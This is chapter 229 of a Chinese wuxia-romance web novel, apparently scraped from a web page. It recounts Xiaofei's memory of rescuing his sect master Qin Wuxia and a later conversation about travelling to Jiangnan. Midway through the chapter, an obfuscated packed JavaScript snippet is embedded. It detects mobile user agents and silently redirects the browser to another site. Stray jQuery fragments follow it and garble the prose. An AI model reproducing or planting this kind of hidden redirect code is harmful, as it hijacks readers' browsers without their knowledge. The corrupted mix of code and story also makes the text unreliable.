第二百二十九章 懂事

作品:《闻道洛阳花正好

    语气平淡,情绪就不平淡。


    霄飞不自觉打了个寒战。一瞬间,他简直魂穿回了初见秦无瑕那日。


    彼时他还是个挂着鼻涕珠子的小儿,跟着辛乌师叔出门半年,风餐露宿颠沛流离,只为寻找流落在外的山主**人。


    说来倒霉,他自小跟辛乌师叔练功,作为下一任山主的护卫队长养大,没想到山主刚上任几日,老山主还未下葬,新山主祭告天地的仪式还未举行,他也还没来得及正式见过山主,山主就把山丢下,自个儿下山去了。


    尘沙殿主言,是山主不堪重任,撂挑子了;至臻殿主据说是笑而不语——之所以说据说,因为至臻殿主从不露面见人;但辛乌师叔说,山主是被坏人逼走的。三人各执一词,但他是师叔养大的,师叔从不骗人,所以师叔说的就是对的。


    然而,整座山似乎只有他这么认为。大家都笑而不语,仿佛一时间全都拜入了至臻殿主门下,不表态,不站队,不跟随。最后,辛乌师叔只能带着他一人下山寻人。


    霄飞搓搓鼻子,觉得这山主跟自己一般倒霉,未见之前,便心生亲切。


    他便是在这种心情下,第一次见到了他的山主大人。


    那是个冰冷的夜晚。春去冬来,冰雪融化,最是寒冷。辛乌师叔出门前嘱咐他今夜有大事发生,不管外头有什么动静,他也不得离开住处。霄飞自当严格遵守,提了比自己高出半截的**守在大门,哪怕外头喊杀声震天,也没打开过门缝半分。


    直到门前出现一丁点细微的动静。


    他竖起耳朵,大刀护身,只待匪徒近门,他就“刷”地一刀——


    “小心着点。这是你未来的主人。”


    他难以置信地睁大了眼睛。


    辛乌师叔的声音在耳畔逐渐遥远,他甚至没有意识到自己差点砍到了谁,全副心思,都被眼前这一人占满。


    那是一张他只在壁画中神仙的脸上见过的面容。他不会形容,也不敢形容,即便面容的主人紧闭着双眼、满面血污,也未能影响此人风华丝毫。


    “发什么愣,快准备热水,他伤得不轻。我让你摸出来的那份丹药在何处?”


    霄飞立时回神,注意到辛乌怀里的少年苍白的脸色和游丝般的气息,若是再救晚些,恐怕真要羽化登仙了。


    那份从至臻殿偷摸带出来的丹药,起了大用处。神仙面容悠悠转醒时,他正绞了帕子替山主擦拭,平日里**在手也稳如泰山的他,这会儿居然抖得像筛子。


    “启禀山主,某、我是、属下是、叫霄飞!”


    少年苍白的脸上毫无波澜。


    “属下随辛乌师叔前来相救!”他极力在最短的时间内表达衷心、安抚山主:“如今我们已在墨家堡五十里之外,您是安全的。”


    “五十里。”少年混沌的眼神逐渐聚焦,“你给我个理由,谁允许你们把我带离墨家堡的。“


    少年表情依然平静如神祇,手上却毫不留情,下一刻一掌当胸,他便连魂带人一块儿横飞出去。


    待辛乌师叔第二次将山主带回来时,他还在院儿里罚跪,时不时咳上两句。从此守住山主不让他折返,成了他力所不能及、和辛乌师叔最常办和难办的事。直到三年之后,山主一战正道,三人在众弟子的迎接之下重回望君,他才突然意识到,祖师首座是从哪一天开始,突然不逃跑了呢?


    霄飞跪在冷硬的船板之上,抬眼看向与祖师首座同坐的墨微辰,忽然有种奇异的熟悉感觉。


    若自己坚持说下去,该不会又如当年那样,挨上一掌罢?


    毕竟祖师首座这般说话,便证明耐心快耗尽了。


    “启禀祖师首座,”霄飞不动声色地向后挪了挪,仔细斟酌字句,以他认为最保险的方式说道:“望君山上寒梅绽放,既然东阁夫人如今已安全了,该去看一看。“


    他眼睁睁地看着祖师首座的手掌抬了起来,而当他以为又要横飞一次的时候,东阁夫人的手掌,也抬了起来。


    “我的确想看。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111755|169872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    墨微辰不动声色地抚了抚披在身上的大氅,将目光从霄飞背后的铜镜上收回。她刚刚注意到,自己的衣冠歪了些许,怕不是秦无瑕方才那一通揉搓导致。待正了衣冠,她松了一口气,连随口编造也更加理直气壮:“寒梅品性高雅,不输江南春草。况且…离山之前,丸子在东阁墙下种了许多蔷薇,也不知开了没有。”


    “没开,”秦无瑕瞧了她一眼,“等我们去过江南,再上望君,才会开的。”


    他顿了顿,再开口时事情便落定了:“待到那时,东都的牡丹也要开的。你不会想错过。”


    墨微辰看了眼霄飞,再不好开口。


    霄飞退出去以后,秦无瑕的脸色及其难看。


    墨微辰陪他**着。霄飞这一趟进来,似没说什么,却已经把什么都说了。秦无瑕乃通透之人,望君山现下处境如何,他又是如何强行下山的,他比她更清楚。如今她人已经救回来了,却还要众弟子陪她下江南养病、回墨家堡探亲——


    方才秦明德两句挑拨,便能惹得跟在他身边的弟子动摇,与秦无瑕这一路的选择,不无关系。


    主殿不稳,人心不稳,魑魅魍魉则生。


    墨微辰轻叹一声,终究在“她想要”和“不得已”之间,选择了后者。暗示不成,秦无瑕不接茬,她便明说好了:“要不,去江南的事…”


    “一定去。”秦无瑕的手覆上她的,冰凉一片,“我答应你要去,咱们就去。”


    “但…”


    “你不必这么懂事。”他的手心渐渐发热,“这些小节,不该影响你分毫。”


    明明受热的是手,墨微辰却觉得眼眶也热了起来。他知道自己体质冰冷,便时常耗了内功让她感觉舒适。她以往只觉着他是仗着太有,随意挥霍,此时突然觉得,似乎有什么再不一样。


    翌日,槽船开进汴州城。墨微辰趴在船头,看汴河两岸人声鼎沸,热闹非凡。不速之客的夜访终究改变了原定计划,可她竟然更加期待了。